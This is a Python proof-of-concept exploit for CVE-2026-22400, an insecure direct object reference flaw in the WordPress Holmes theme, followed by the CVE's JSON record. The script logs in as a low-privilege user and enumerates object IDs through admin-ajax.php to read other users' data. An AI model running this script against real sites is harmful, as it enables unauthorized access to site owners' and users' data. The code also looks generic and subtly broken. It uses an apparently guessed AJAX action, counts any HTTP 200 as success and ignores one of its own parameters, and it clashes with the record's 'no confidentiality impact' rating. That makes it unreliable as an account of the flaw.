CVE-2026-22400

# CVE-2026-22400 IDOR Vulnerability PoC # Affected: WordPress Holmes Theme <= 1.7 # Type: Authorization Bypass (IDOR) import requests import sys TARGET_URL = "http://target-site.com" WORDPRESS_URL = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 1: Authenticate with low-privilege account def authenticate(username, password): """Login to WordPress and get session cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) return session if 'wordpress_logged_in' in str(session.cookies) else None # Step 2: Exploit IDOR by manipulating object ID def exploit_idor(session, original_id, target_id): """Exploit IDOR vulnerability by changing object ID parameter""" # Try to access another user's data by changing ID exploit_params = { 'action': 'get_listing', 'id': target_id # Changed from original_id to target_id } response = session.get(WORDPRESS_URL, params=exploit_params) if response.status_code == 200: print(f"[+] Successfully accessed object ID: {target_id}") print(f"[+] Response: {response.text[:500]}") return True else: print(f"[-] Failed to access object ID: {target_id}") return False # Step 3: Enumerate accessible objects def enumerate_objects(session, start_id=1, end_id=100): """Enumerate accessible objects by iterating through IDs""" accessible = [] for obj_id in range(start_id, end_id + 1): if exploit_idor(session, 1, obj_id): accessible.append(obj_id) return accessible if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <username> <password>") sys.exit(1) username = sys.argv[1] password = sys.argv[2] print(f"[*] Authenticating as {username}...") session = authenticate(username, password) if session: print("[+] Authentication successful!") print("[*] Enumerating accessible objects...") accessible_objects = enumerate_objects(session, 1, 50) print(f"[+] Found {len(accessible_objects)} accessible objects: {accessible_objects}") else: print("[-] Authentication failed!")

{"cve": {"id": "CVE-2026-22400", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:33.193", "lastModified": "2026-04-28T19:36:34.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Holmes holmes allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Holmes: from n/a through <= 1.7."}, {"lang": "es", "value": "Vulnerabilidad de elusión de autorización mediante clave controlada por el usuario en Mikado-Themes Holmes holmes permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Holmes: desde n/a hasta &lt;= 1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/holmes/vulnerability/wordpress-holmes-theme-1-7-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}